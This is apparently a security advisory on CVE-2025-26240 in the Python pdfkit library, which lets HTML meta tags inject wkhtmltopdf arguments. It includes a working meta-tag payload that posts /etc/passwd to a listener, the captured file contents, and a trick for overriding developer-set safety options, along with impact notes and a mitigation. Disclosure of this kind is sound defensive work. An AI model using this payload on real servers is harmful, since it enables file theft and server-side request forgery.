

The Python Pdfkit Library Vulnerability

CVE-2025-26240

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Summary

Security analysts of CSIRT.SK discovered a vulnerability in the Python `pdfkit` library, which is caused by parsing user-provided HTML input in the `from_string` method, with no available options to mitigate the risk. The `from_string` method uses meta tags whose names start with “`pdfkit-`” and treats their values as command-line parameters for the `wkhtmltopdf` tool. This parsing is performed in the `_find_options_in_meta` method, located in the `pdfkit/pdfkit.py` file. While this functionality may be useful for certain use cases (such as setting the paper size), some `wkhtmltopdf` arguments pose security risks.

Simple POC

If we pass following html data into the `from_string` method, we will be able to read the contents of the `/etc/passwd` file.

```
<meta name='pdfkit--quiet' content=''>
<meta name='pdfkit---enable-local-file-access' content=''>
<meta name='pdfkit---post-file' content=''>
<meta name='pdfkit-file--a' content='/etc/passwd'>
<meta name='pdfkit-http://127.0.0.1:8888?LFI-TEST=--' content='--cache-dir'>
<h1>LFI POC</h1>
```

There are a few constraints on the arguments that will be sent to `wkhtmltopdf`. The first is that the key must contain two dashes, which is why the last meta tag includes “`--`” in its name. The implementation of this check can be found in the `_normalize_options` method located in the `pdfkit/pdfkit.py` file.

```
for key, value in list(options.items()):
    if '--' not in key:
        normalized_key = '--%s' % self._normalize_arg(key)
    else:
        normalized_key = self._normalize_arg(key)
```

Due to insufficient validation, we are able to pass arguments that accept multiple values, not just key-value pairs.

When we pass the example HTML file to the `from_string` method, we can see that the command generated and executed by the `subprocess.Popen` method is as follows:

```
['/usr/local/bin/wkhtmltopdf', '--quiet', '--enable-local-file-access', '--post-file', 'file--a', '/etc/passwd', 'http://127.0.0.1:8080/?lfi-test=--', '--cache-dir', '-', '-']
```

Resulting in following command:

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```
/usr/local/bin/wkhtmltopdf --quiet --enable-local-file-access --post-file file--a /etc/passwd  
http://127.0.0.1:8888/?lfi-test=-- --cache-dir - -
```

This command sends the contents of the `/etc/passwd` file as an attachment in a POST request to `http://127.0.0.1:8888/?lfi-test=--` with the parameter `file--a`. The `--cache-dir` parameter is included solely to remove the extra dash added by the `pdfkit` library, ensuring that the `wkhtmltopdf` tool executes successfully.

When exploiting this vulnerability, we can observe that the contents of the `/etc/passwd` file are received by our Python listener.

```
(kali@kali)-[~/Desktop]
└─$ python server.py
* Serving Flask app 'server'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8888
* Running on http://192.168.6.129:8888
Press CTRL+C to quit
* Restarting with stat
* Debugger is active!
* Debugger PIN: 436-295-942
Received POST request on /
Data: --de30ee9f998c4b3dac9dbb3846d0300b
content-disposition: form-data; name="file--a"; filename="passwd"

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

In the same way, we can execute any JavaScript scripts by utilizing the `--script` command-line parameter, which runs the specified JavaScript code after generating the PDF, leading to SSRF and other potential vulnerabilities.

Bypass of pdfkit security measures

The `pdfkit` library allows developers to provide an options dictionary for direct options that will be passed to `wkhtmltopdf`. The main issue is that these options can be easily bypassed due to Python's way of handling dictionaries.

The options initialization is defined in `pdfkit/pdfkit.py` as follows:

```
self.options = OrderedDict()
if self.source.isString():
```

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```
self.options.update(self._find_options_in_meta(url_or_file))
self.environ = self.configuration.environ
if options is not None:
    self.options.update(options)
```

The main issue is that Python preserves the order of keys when using the update method. For example, if we have the dictionary {"a": 10, "b": 20} and call update on it with {"a": 15}, the resulting dictionary will be {"a": 15, "b": 20}.

An attacker can always manipulate the order of command-line arguments sent to **wkhtmltopdf**. If a developer attempts to enforce security options such as {"disable-javascript": "", "disable-local-file-access": ""}, the attacker can set these options first and then override them by adding their counterparts, such as "enable-javascript" or "enable-local-file-access".

Impact

1. Local File Inclusion (LFI) and Data Exposure

- Attackers can leverage the **--post-file** argument to access sensitive files on the server, such as **/etc/passwd**. This allows unauthorized disclosure of system information, potentially aiding in privilege escalation or further exploitation of the host machine.

2. Server-Side Request Forgery (SSRF)

- By abusing command-line parameters like **--script**, an attacker can make unauthorized HTTP requests to internal or external services. This can lead to:
 - Accessing internal resources that should not be publicly exposed.
 - Bypassing security mechanisms such as firewalls or API rate limits.
 - Interacting with cloud metadata services to extract sensitive credentials.

Easiest solution for developers

The easiest solution to this vulnerability is probably to use other methods than **from_string**. For example developer can save the provided HTML to temporary file and then use **from_file** method, which doesn't parse the meta tags.

Link:

<https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-26240&scoretype=vmscore>

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